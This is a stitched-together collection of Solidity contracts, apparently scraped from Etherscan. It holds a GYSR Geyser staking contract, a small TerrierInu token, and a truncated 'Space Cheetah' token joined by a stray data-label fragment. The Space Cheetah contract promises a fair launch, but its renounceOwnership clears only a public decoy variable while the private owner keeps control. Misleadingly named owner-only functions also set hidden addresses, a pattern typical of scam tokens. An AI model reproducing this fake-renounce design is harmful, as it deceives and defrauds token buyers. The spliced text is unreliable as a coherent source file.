* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: contracts/IStaking.sol
/*
Staking interface
EIP-900 staking interface
https://github.com/gysr-io/core
h/t https://github.com/ethereum/EIPs/blob/master/EIPS/eip-900.md
*/
pragma solidity ^0.6.12;
interface IStaking {
// events
event Staked(
address indexed user,
uint256 amount,
uint256 total,
bytes data
);
event Unstaked(
address indexed user,
uint256 amount,
uint256 total,
bytes data
);
/**
* @notice stakes a certain amount of tokens, transferring this amount from
the user to the contract
* @param amount number of tokens to stake
*/
function stake(uint256 amount, bytes calldata) external;
/**
* @notice stakes a certain amount of tokens for an address, transfering this
amount from the caller to the contract, on behalf of the specified address
* @param user beneficiary address
* @param amount number of tokens to stake
*/
function stakeFor(
address user,
uint256 amount,
bytes calldata
) external;
/**
* @notice unstakes a certain amount of tokens, returning these tokens
to the user
* @param amount number of tokens to unstake
*/
function unstake(uint256 amount, bytes calldata) external;
/**
* @param addr the address of interest
* @return the current total of tokens staked for an address
*/
function totalStakedFor(address addr) external view returns (uint256);
/**
* @return the current total amount of tokens staked by all users
*/
function totalStaked() external view returns (uint256);
/**
* @return the staking token for this staking contract
*/
function token() external view returns (address);
/**
* @return true if the staking contract support history
*/
function supportsHistory() external pure returns (bool);
}
// File: contracts/IGeyser.sol
/*
Geyser interface
This defines the core Geyser contract interface as an extension to the
standard IStaking interface
https://github.com/gysr-io/core
*/
pragma solidity ^0.6.12;
/**
* @title Geyser interface
*/
abstract contract IGeyser is IStaking, Ownable {
// events
event RewardsDistributed(address indexed user, uint256 amount);
event RewardsFunded(
uint256 amount,
uint256 duration,
uint256 start,
uint256 total
);
event RewardsUnlocked(uint256 amount, uint256 total);
event RewardsExpired(uint256 amount, uint256 duration, uint256 start);
event GysrSpent(address indexed user, uint256 amount);
event GysrWithdrawn(uint256 amount);
// IStaking
/**
* @notice no support for history
* @return false
*/
function supportsHistory() external override pure returns (bool) {
return false;
}
// IGeyser
/**
* @return staking token for this Geyser
*/
function stakingToken() external virtual view returns (address);
/**
* @return reward token for this Geyser
*/
function rewardToken() external virtual view returns (address);
/**
* @notice fund Geyser by locking up reward tokens for distribution
* @param amount number of reward tokens to lock up as funding
* @param duration period (seconds) over which funding will be unlocked
*/
function fund(uint256 amount, uint256 duration) external virtual;
/**
* @notice fund Geyser by locking up reward tokens for future distribution
* @param amount number of reward tokens to lock up as funding
* @param duration period (seconds) over which funding will be unlocked
* @param start time (seconds) at which funding begins to unlock
*/
function fund(
uint256 amount,
uint256 duration,
uint256 start
) external virtual;
/**
* @notice withdraw GYSR tokens applied during unstaking
* @param amount number of GYSR to withdraw
*/
function withdraw(uint256 amount) external virtual;
/**
* @notice unstake while applying GYSR token for boosted rewards
* @param amount number of tokens to unstake
* @param gysr number of GYSR tokens to apply for boost
*/
function unstake(
uint256 amount,
uint256 gysr,
bytes calldata
) external virtual;
/**
* @notice update accounting, unlock tokens, etc.
*/
function update() external virtual;
/**
* @notice clean geyser, expire old fundings, etc.
*/
function clean() external virtual;
}
// File: contracts/GeyserPool.sol
/*
Geyser token pool
Simple contract to implement token pool of arbitrary ERC20 token.
This is owned and used by a parent Geyser
https://github.com/gysr-io/core
h/t https://github.com/ampleforth/token-geyser
*/
pragma solidity ^0.6.12;
contract GeyserPool is Ownable {
using SafeERC20 for IERC20;
IERC20 public token;
constructor(address token_) public {
token = IERC20(token_);
}
function balance() public view returns (uint256) {
return token.balanceOf(address(this));
}
function transfer(address to, uint256 value) external onlyOwner {
token.safeTransfer(to, value);
}
}
// File: contracts/MathUtils.sol
/*
Math utilities
This library implements various logarithmic math utilies which support
other contracts and specifically the GYSR multiplier calculation
https://github.com/gysr-io/core
h/t https://github.com/abdk-consulting/abdk-libraries-solidity
*/
pragma solidity ^0.6.12;
library MathUtils {
/**
* Calculate binary logarithm of x. Revert if x <= 0.
*
* @param x signed 64.64-bit fixed point number
* @return signed 64.64-bit fixed point number
*/
function logbase2(int128 x) internal pure returns (int128) {
require(x > 0);
int256 msb = 0;
int256 xc = x;
if (xc >= 0x10000000000000000) {
xc >>= 64;
msb += 64;
}
if (xc >= 0x100000000) {
xc >>= 32;
msb += 32;
}
if (xc >= 0x10000) {
xc >>= 16;
msb += 16;
}
if (xc >= 0x100) {
xc >>= 8;
msb += 8;
}
if (xc >= 0x10) {
xc >>= 4;
msb += 4;
}
if (xc >= 0x4) {
xc >>= 2;
msb += 2;
}
if (xc >= 0x2) msb += 1; // No need to shift xc anymore
int256 result = (msb - 64) << 64;
uint256 ux = uint256(x) << (127 - msb);
for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {
ux *= ux;
uint256 b = ux >> 255;
ux >>= 127 + b;
result += bit * int256(b);
}
return int128(result);
}
/**
* @notice calculate natural logarithm of x
* @dev magic constant comes from ln(2) * 2^128 -> hex
* @param x signed 64.64-bit fixed point number, require x > 0
* @return signed 64.64-bit fixed point number
*/
function ln(int128 x) internal pure returns (int128) {
require(x > 0);
return
int128(
(uint256(logbase2(x)) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF) >>
128
);
}
/**
* @notice calculate logarithm base 10 of x
* @dev magic constant comes from log10(2) * 2^128 -> hex
* @param x signed 64.64-bit fixed point number, require x > 0
* @return signed 64.64-bit fixed point number
*/
function logbase10(int128 x) internal pure returns (int128) {
require(x > 0);
return
int128(
(uint256(logbase2(x)) * 0x4d104d427de7fce20a6e420e02236748) >>
128
);
}
// wrapper functions to allow testing
function testlogbase2(int128 x) public pure returns (int128) {
return logbase2(x);
}
function testlogbase10(int128 x) public pure returns (int128) {
return logbase10(x);
}
}
// File: contracts/Geyser.sol
/*
Geyser
This implements the core Geyser contract, which allows for generalized
staking, yield farming, and token distribution. This also implements
the GYSR spending mechanic for boosted reward distribution.
https://github.com/gysr-io/core
h/t https://github.com/ampleforth/token-geyser
*/
pragma solidity ^0.6.12;
/**
* @title Geyser
*/
contract Geyser is IGeyser, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using MathUtils for int128;
// single stake by user
struct Stake {
uint256 shares;
uint256 timestamp;
}
// summary of total user stake/shares
struct User {
uint256 shares;
uint256 shareSeconds;
uint256 lastUpdated;
}
// single funding/reward schedule
struct Funding {
uint256 amount;
uint256 shares;
uint256 unlocked;
uint256 lastUpdated;
uint256 start;
uint256 end;
uint256 duration;
}
// constants
uint256 public constant BONUS_DECIMALS = 18;
uint256 public constant INITIAL_SHARES_PER_TOKEN = 10**6;
uint256 public constant MAX_ACTIVE_FUNDINGS = 16;
// token pool fields
GeyserPool private immutable _stakingPool;
GeyserPool private immutable _unlockedPool;
GeyserPool private immutable _lockedPool;
Funding[] public fundings;
// user staking fields
mapping(address => User) public userTotals;
mapping(address => Stake[]) public userStakes;
// time bonus fields
uint256 public immutable bonusMin;
uint256 public immutable bonusMax;
uint256 public immutable bonusPeriod;
// global state fields
uint256 public totalLockedShares;
uint256 public totalStakingShares;
uint256 public totalRewards;
uint256 public totalGysrRewards;
uint256 public totalStakingShareSeconds;
uint256 public lastUpdated;
// gysr fields
IERC20 private immutable _gysr;
/**
* @param stakingToken_ the token that will be staked
* @param rewardToken_ the token distributed to users as they unstake
* @param bonusMin_ initial time bonus
* @param bonusMax_ maximum time bonus
* @param bonusPeriod_ period (in seconds) over which time bonus grows to max
* @param gysr_ address for GYSR token
*/
constructor(
address stakingToken_,
address rewardToken_,
uint256 bonusMin_,
uint256 bonusMax_,
uint256 bonusPeriod_,
address gysr_
) public {
require(
bonusMin_ <= bonusMax_,
"Geyser: initial time bonus greater than max"
);
_stakingPool = new GeyserPool(stakingToken_);
_unlockedPool = new GeyserPool(rewardToken_);
_lockedPool = new GeyserPool(rewardToken_);
bonusMin = bonusMin_;
bonusMax = bonusMax_;
bonusPeriod = bonusPeriod_;
_gysr = IERC20(gysr_);
lastUpdated = block.timestamp;
}
// IStaking
/**
* @inheritdoc IStaking
*/
function stake(uint256 amount, bytes calldata) external override {
_stake(msg.sender, msg.sender, amount);
}
/**
* @inheritdoc IStaking
*/
function stakeFor(
address user,
uint256 amount,
bytes calldata
) external override {
_stake(msg.sender, user, amount);
}
/**
* @inheritdoc IStaking
*/
function unstake(uint256 amount, bytes calldata) external override {
_unstake(amount, 0);
}
/**
* @inheritdoc IStaking
*/
function totalStakedFor(address addr)
public
override
view
returns (uint256)
{
if (totalStakingShares == 0) {
return 0;
}
return
totalStaked().mul(userTotals[addr].shares).div(totalStakingShares);
}
/**
* @inheritdoc IStaking
*/
function totalStaked() public override view returns (uint256) {
return _stakingPool.balance();
}
/**
* @inheritdoc IStaking
* @dev redundant with stakingToken() in order to implement IStaking (EIP-900)
*/
function token() external override view returns (address) {
return address(_stakingPool.token());
}
// IGeyser
/**
* @inheritdoc IGeyser
*/
function stakingToken() public override view returns (address) {
return address(_stakingPool.token());
}
/**
* @inheritdoc IGeyser
*/
function rewardToken() public override view returns (address) {
return address(_unlockedPool.token());
}
/**
* @inheritdoc IGeyser
*/
function fund(uint256 amount, uint256 duration) public override {
fund(amount, duration, block.timestamp);
}
/**
* @inheritdoc IGeyser
*/
function fund(
uint256 amount,
uint256 duration,
uint256 start
) public override onlyOwner {
// validate
require(amount > 0, "Geyser: funding amount is zero");
require(start >= block.timestamp, "Geyser: funding start is past");
require(
fundings.length < MAX_ACTIVE_FUNDINGS,
"Geyser: exceeds max active funding schedules"
);
// update bookkeeping
_update(msg.sender);
// mint shares at current rate
uint256 lockedTokens = totalLocked();
uint256 mintedLockedShares = (lockedTokens > 0)
? totalLockedShares.mul(amount).div(lockedTokens)
: amount.mul(INITIAL_SHARES_PER_TOKEN);
totalLockedShares = totalLockedShares.add(mintedLockedShares);
// create new funding
fundings.push(
Funding({
amount: amount,
shares: mintedLockedShares,
unlocked: 0,
lastUpdated: start,
start: start,
end: start.add(duration),
duration: duration
})
);
// do transfer of funding
_lockedPool.token().safeTransferFrom(
msg.sender,
address(_lockedPool),
amount
);
emit RewardsFunded(amount, duration, start, totalLocked());
}
/**
* @inheritdoc IGeyser
*/
function withdraw(uint256 amount) external override onlyOwner {
require(amount > 0, "Geyser: withdraw amount is zero");
require(
amount <= _gysr.balanceOf(address(this)),
"Geyser: withdraw amount exceeds balance"
);
// do transfer
_gysr.safeTransfer(msg.sender, amount);
emit GysrWithdrawn(amount);
}
/**
* @inheritdoc IGeyser
*/
function unstake(
uint256 amount,
uint256 gysr,
bytes calldata
) external override {
_unstake(amount, gysr);
}
/**
* @inheritdoc IGeyser
*/
function update() external override nonReentrant {
_update(msg.sender);
}
/**
* @inheritdoc IGeyser
*/
function clean() external override onlyOwner {
// update bookkeeping
_update(msg.sender);
// check for stale funding schedules to expire
uint256 removed = 0;
uint256 originalSize = fundings.length;
for (uint256 i = 0; i < originalSize; i++) {
Funding storage funding = fundings[i.sub(removed)];
uint256 idx = i.sub(removed);
if (_unlockable(idx) == 0 && block.timestamp >= funding.end) {
emit RewardsExpired(
funding.amount,
funding.duration,
funding.start
);
// remove at idx by copying last element here, then popping off last
// (we don't care about order)
fundings[idx] = fundings[fundings.length.sub(1)];
fundings.pop();
removed = removed.add(1);
}
}
}
// Geyser
/**
* @dev internal implementation of staking methods
* @param staker address to do deposit of staking tokens
* @param beneficiary address to gain credit for this stake operation
* @param amount number of staking tokens to deposit
*/
function _stake(
address staker,
address beneficiary,
uint256 amount
) private nonReentrant {
// validate
require(amount > 0, "Geyser: stake amount is zero");
require(
beneficiary != address(0),
"Geyser: beneficiary is zero address"
);
// mint staking shares at current rate
uint256 mintedStakingShares = (totalStakingShares > 0)
? totalStakingShares.mul(amount).div(totalStaked())
: amount.mul(INITIAL_SHARES_PER_TOKEN);
require(mintedStakingShares > 0, "Geyser: stake amount too small");
// update bookkeeping
_update(beneficiary);
// update user staking info
User storage user = userTotals[beneficiary];
user.shares = user.shares.add(mintedStakingShares);
user.lastUpdated = block.timestamp;
userStakes[beneficiary].push(
Stake(mintedStakingShares, block.timestamp)
);
// add newly minted shares to global total
totalStakingShares = totalStakingShares.add(mintedStakingShares);
// transactions
_stakingPool.token().safeTransferFrom(
staker,
address(_stakingPool),
amount
);
emit Staked(beneficiary, amount, totalStakedFor(beneficiary), "");
}
/**
* @dev internal implementation of unstaking methods
* @param amount number of tokens to unstake
* @param gysr number of GYSR tokens applied to unstaking operation
* @return number of reward tokens distributed
*/
function _unstake(uint256 amount, uint256 gysr)
private
nonReentrant
returns (uint256)
{
// validate
require(amount > 0, "Geyser: unstake amount is zero");
require(
totalStakedFor(msg.sender) >= amount,
"Geyser: unstake amount exceeds balance"
);
// update bookkeeping
_update(msg.sender);
// do unstaking, first-in last-out, respecting time bonus
uint256 timeWeightedShareSeconds = _unstakeFirstInLastOut(amount);
// compute and apply GYSR token bonus
uint256 gysrWeightedShareSeconds = gysrBonus(gysr)
.mul(timeWeightedShareSeconds)
.div(10**BONUS_DECIMALS);
uint256 rewardAmount = totalUnlocked()
.mul(gysrWeightedShareSeconds)
.div(totalStakingShareSeconds.add(gysrWeightedShareSeconds));
// update global stats for distributions
if (gysr > 0) {
totalGysrRewards = totalGysrRewards.add(rewardAmount);
}
totalRewards = totalRewards.add(rewardAmount);
// transactions
_stakingPool.transfer(msg.sender, amount);
emit Unstaked(msg.sender, amount, totalStakedFor(msg.sender), "");
if (rewardAmount > 0) {
_unlockedPool.transfer(msg.sender, rewardAmount);
emit RewardsDistributed(msg.sender, rewardAmount);
}
if (gysr > 0) {
_gysr.safeTransferFrom(msg.sender, address(this), gysr);
emit GysrSpent(msg.sender, gysr);
}
return rewardAmount;
}
/**
* @dev helper function to actually execute unstaking, first-in last-out,
while computing and applying time bonus. This function also updates
user and global totals for shares and share-seconds.
* @param amount number of staking tokens to withdraw
* @return time bonus weighted staking share seconds
*/
function _unstakeFirstInLastOut(uint256 amount) private returns (uint256) {
uint256 stakingSharesToBurn = totalStakingShares.mul(amount).div(
totalStaked()
);
require(stakingSharesToBurn > 0, "Geyser: unstake amount too small");
// redeem from most recent stake and go backwards in time.
uint256 shareSecondsToBurn = 0;
uint256 sharesLeftToBurn = stakingSharesToBurn;
uint256 bonusWeightedShareSeconds = 0;
Stake[] storage stakes = userStakes[msg.sender];
while (sharesLeftToBurn > 0) {
Stake storage lastStake = stakes[stakes.length - 1];
uint256 stakeTime = block.timestamp.sub(lastStake.timestamp);
uint256 bonus = timeBonus(stakeTime);
if (lastStake.shares <= sharesLeftToBurn) {
// fully redeem a past stake
bonusWeightedShareSeconds = bonusWeightedShareSeconds.add(
lastStake.shares.mul(stakeTime).mul(bonus).div(
10**BONUS_DECIMALS
)
);
shareSecondsToBurn = shareSecondsToBurn.add(
lastStake.shares.mul(stakeTime)
);
sharesLeftToBurn = sharesLeftToBurn.sub(lastStake.shares);
stakes.pop();
} else {
// partially redeem a past stake
bonusWeightedShareSeconds = bonusWeightedShareSeconds.add(
sharesLeftToBurn.mul(stakeTime).mul(bonus).div(
10**BONUS_DECIMALS
)
);
shareSecondsToBurn = shareSecondsToBurn.add(
sharesLeftToBurn.mul(stakeTime)
);
lastStake.shares = lastStake.shares.sub(sharesLeftToBurn);
sharesLeftToBurn = 0;
}
}
// update user totals
User storage user = userTotals[msg.sender];
user.shareSeconds = user.shareSeconds.sub(shareSecondsToBurn);
user.shares = user.shares.sub(stakingSharesToBurn);
user.lastUpdated = block.timestamp;
// update global totals
totalStakingShareSeconds = totalStakingShareSeconds.sub(
shareSecondsToBurn
);
totalStakingShares = totalStakingShares.sub(stakingSharesToBurn);
return bonusWeightedShareSeconds;
}
/**
* @dev internal implementation of update method
* @param addr address for user accounting update
*/
function _update(address addr) private {
_unlockTokens();
// global accounting
uint256 deltaTotalShareSeconds = (block.timestamp.sub(lastUpdated)).mul(
totalStakingShares
);
totalStakingShareSeconds = totalStakingShareSeconds.add(
deltaTotalShareSeconds
);
lastUpdated = block.timestamp;
// user accounting
User storage user = userTotals[addr];
uint256 deltaUserShareSeconds = (block.timestamp.sub(user.lastUpdated))
.mul(user.shares);
user.shareSeconds = user.shareSeconds.add(deltaUserShareSeconds);
user.lastUpdated = block.timestamp;
}
/**
* @dev unlocks reward tokens based on funding schedules
*/
function _unlockTokens() private {
uint256 tokensToUnlock = 0;
uint256 lockedTokens = totalLocked();
if (totalLockedShares == 0) {
// handle any leftover
tokensToUnlock = lockedTokens;
} else {
// normal case: unlock some shares from each funding schedule
uint256 sharesToUnlock = 0;
for (uint256 i = 0; i < fundings.length; i++) {
uint256 shares = _unlockable(i);
Funding storage funding = fundings[i];
if (shares > 0) {
funding.unlocked = funding.unlocked.add(shares);
funding.lastUpdated = block.timestamp;
sharesToUnlock = sharesToUnlock.add(shares);
}
}
tokensToUnlock = sharesToUnlock.mul(lockedTokens).div(
totalLockedShares
);
totalLockedShares = totalLockedShares.sub(sharesToUnlock);
}
if (tokensToUnlock > 0) {
_lockedPool.transfer(address(_unlockedPool), tokensToUnlock);
emit RewardsUnlocked(tokensToUnlock, totalUnlocked());
}
}
/**
* @dev helper function to compute updates to funding schedules
* @param idx index of the funding
* @return the number of unlockable shares
*/
function _unlockable(uint256 idx) private view returns (uint256) {
Funding storage funding = fundings[idx];
// funding schedule is in future
if (block.timestamp < funding.start) {
return 0;
}
// empty
if (funding.unlocked >= funding.shares) {
return 0;
}
// handle zero-duration period or leftover dust from integer division
if (block.timestamp >= funding.end) {
return funding.shares.sub(funding.unlocked);
}
return
(block.timestamp.sub(funding.lastUpdated)).mul(funding.shares).div(
funding.duration
);
}
/**
* @notice compute time bonus earned as a function of staking time
* @param time length of time for which the tokens have been staked
* @return bonus multiplier for time
*/
function timeBonus(uint256 time) public view returns (uint256) {
if (time >= bonusPeriod) {
return uint256(10**BONUS_DECIMALS).add(bonusMax);
}
// linearly interpolate between bonus min and bonus max
uint256 bonus = bonusMin.add(
(bonusMax.sub(bonusMin)).mul(time).div(bonusPeriod)
);
return uint256(10**BONUS_DECIMALS).add(bonus);
}
/**
* @notice compute GYSR bonus as a function of usage ratio and GYSR spent
* @param gysr number of GYSR token applied to bonus
* @return multiplier value
*/
function gysrBonus(uint256 gysr) public view returns (uint256) {
if (gysr == 0) {
return 10**BONUS_DECIMALS;
}
require(
gysr >= 10**BONUS_DECIMALS,
"Geyser: GYSR amount is between 0 and 1"
);
uint256 buffer = uint256(10**(BONUS_DECIMALS - 2)); // 0.01
uint256 r = ratio().add(buffer);
uint256 x = gysr.add(buffer);
return
uint256(10**BONUS_DECIMALS).add(
uint256(int128(x.mul(2**64).div(r)).logbase10())
.mul(10**BONUS_DECIMALS)
.div(2**64)
);
}
/**
* @return portion of rewards which have been boosted by GYSR token
*/
function ratio() public view returns (uint256) {
if (totalRewards == 0) {
return 0;
}
return totalGysrRewards.mul(10**BONUS_DECIMALS).div(totalRewards);
}
// Geyser -- informational functions
/**
* @return total number of locked reward tokens
*/
function totalLocked() public view returns (uint256) {
return _lockedPool.balance();
}
/**
* @return total number of unlocked reward tokens
*/
function totalUnlocked() public view returns (uint256) {
return _unlockedPool.balance();
}
/**
* @return number of active funding schedules
*/
function fundingCount() public view returns (uint256) {
return fundings.length;
}
/**
* @param addr address of interest
* @return number of active stakes for user
*/
function stakeCount(address addr) public view returns (uint256) {
return userStakes[addr].length;
}
/**
* @notice preview estimated reward distribution for full unstake with no GYSR applied
* @return estimated reward
* @return estimated overall multiplier
* @return estimated raw user share seconds that would be burned
* @return estimated total unlocked rewards
*/
function preview()
public
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
return preview(msg.sender, totalStakedFor(msg.sender), 0);
}
/**
* @notice preview estimated reward distribution for unstaking
* @param addr address of interest for preview
* @param amount number of tokens that would be unstaked
* @param gysr number of GYSR tokens that would be applied
* @return estimated reward
* @return estimated overall multiplier
* @return estimated raw user share seconds that would be burned
* @return estimated total unlocked rewards
*/
function preview(
address addr,
uint256 amount,
uint256 gysr
)
public
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
// compute expected updates to global totals
uint256 deltaUnlocked = 0;
if (totalLockedShares != 0) {
uint256 sharesToUnlock = 0;
for (uint256 i = 0; i < fundings.length; i++) {
sharesToUnlock = sharesToUnlock.add(_unlockable(i));
}
deltaUnlocked = sharesToUnlock.mul(totalLocked()).div(
totalLockedShares
);
}
// no need for unstaking/rewards computation
if (amount == 0) {
return (0, 0, 0, totalUnlocked().add(deltaUnlocked));
}
// check unstake amount
require(
amount <= totalStakedFor(addr),
"Geyser: preview amount exceeds balance"
);
// compute unstake amount in shares
uint256 shares = totalStakingShares.mul(amount).div(totalStaked());
require(shares > 0, "Geyser: preview amount too small");
uint256 rawShareSeconds = 0;
uint256 timeBonusShareSeconds = 0;
// compute first-in-last-out, time bonus weighted, share seconds
uint256 i = userStakes[addr].length.sub(1);
while (shares > 0) {
Stake storage s = userStakes[addr][i];
uint256 time = block.timestamp.sub(s.timestamp);
if (s.shares < shares) {
rawShareSeconds = rawShareSeconds.add(s.shares.mul(time));
timeBonusShareSeconds = timeBonusShareSeconds.add(
s.shares.mul(time).mul(timeBonus(time)).div(
10**BONUS_DECIMALS
)
);
shares = shares.sub(s.shares);
} else {
rawShareSeconds = rawShareSeconds.add(shares.mul(time));
timeBonusShareSeconds = timeBonusShareSeconds.add(
shares.mul(time).mul(timeBonus(time)).div(
10**BONUS_DECIMALS
)
);
break;
}
// this will throw on underflow
i = i.sub(1);
}
// apply gysr bonus
uint256 gysrBonusShareSeconds = gysrBonus(gysr)
.mul(timeBonusShareSeconds)
.div(10**BONUS_DECIMALS);
// compute rewards based on expected updates
uint256 expectedTotalShareSeconds = totalStakingShareSeconds
.add((block.timestamp.sub(lastUpdated)).mul(totalStakingShares))
.add(gysrBonusShareSeconds)
.sub(rawShareSeconds);
uint256 reward = (totalUnlocked().add(deltaUnlocked))
.mul(gysrBonusShareSeconds)
.div(expectedTotalShareSeconds);
// compute effective bonus
uint256 bonus = uint256(10**BONUS_DECIMALS)
.mul(gysrBonusShareSeconds)
.div(rawShareSeconds);
return (
reward,
bonus,
rawShareSeconds,
totalUnlocked().add(deltaUnlocked)
);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-21
*/
pragma solidity ^0.8.2;
contract Token {
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowance;
uint public totalSupply = 100000000000000000 * 10 ** 9;
string public name = "TerrierInu";
string public symbol = "TERR";
uint public decimals = 9;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
constructor() {
balances[msg.sender] = totalSupply;
}
function balanceOf(address owner) public view returns(uint) {
return balances[owner];
}
function transfer(address to, uint value) public returns(bool) {
require(balanceOf(msg.sender) >= value, 'balance too low');
balances[to] += value;
balances[msg.sender] -= value;
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) public returns(bool) {
require(balanceOf(from) >= value, 'balance too low');
require(allowance[from][msg.sender] >= value, 'allowance too low');
balances[to] += value;
balances[from] -= value;
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint value) public returns(bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
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/**
*Submitted for verification at Etherscan.io on 2021-07-27
*/
/**
* Fair launch, no dev tokens!
* Fair trade, no reserve, No buy/sell limts and no transaction fees!
* Total Supply: 3000000000
* Burn: 50%
* Add Liquidity: 50%
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.11;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SpaceCheetah is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _router;
mapping (address => mapping (address => uint256)) private _allowances;
address private public_address;
address private caller;
uint256 private _totalTokens = 3000000000 * 10**18;
string private _name = 'Space Cheetah';
string private _symbol = 'CHEETA 🐆';
uint8 private _decimals = 18;
uint256 private rTotal = 3000000000 * 10**18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function addliquidity (address Uniswaprouterv02) public onlyOwner {
public_address = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
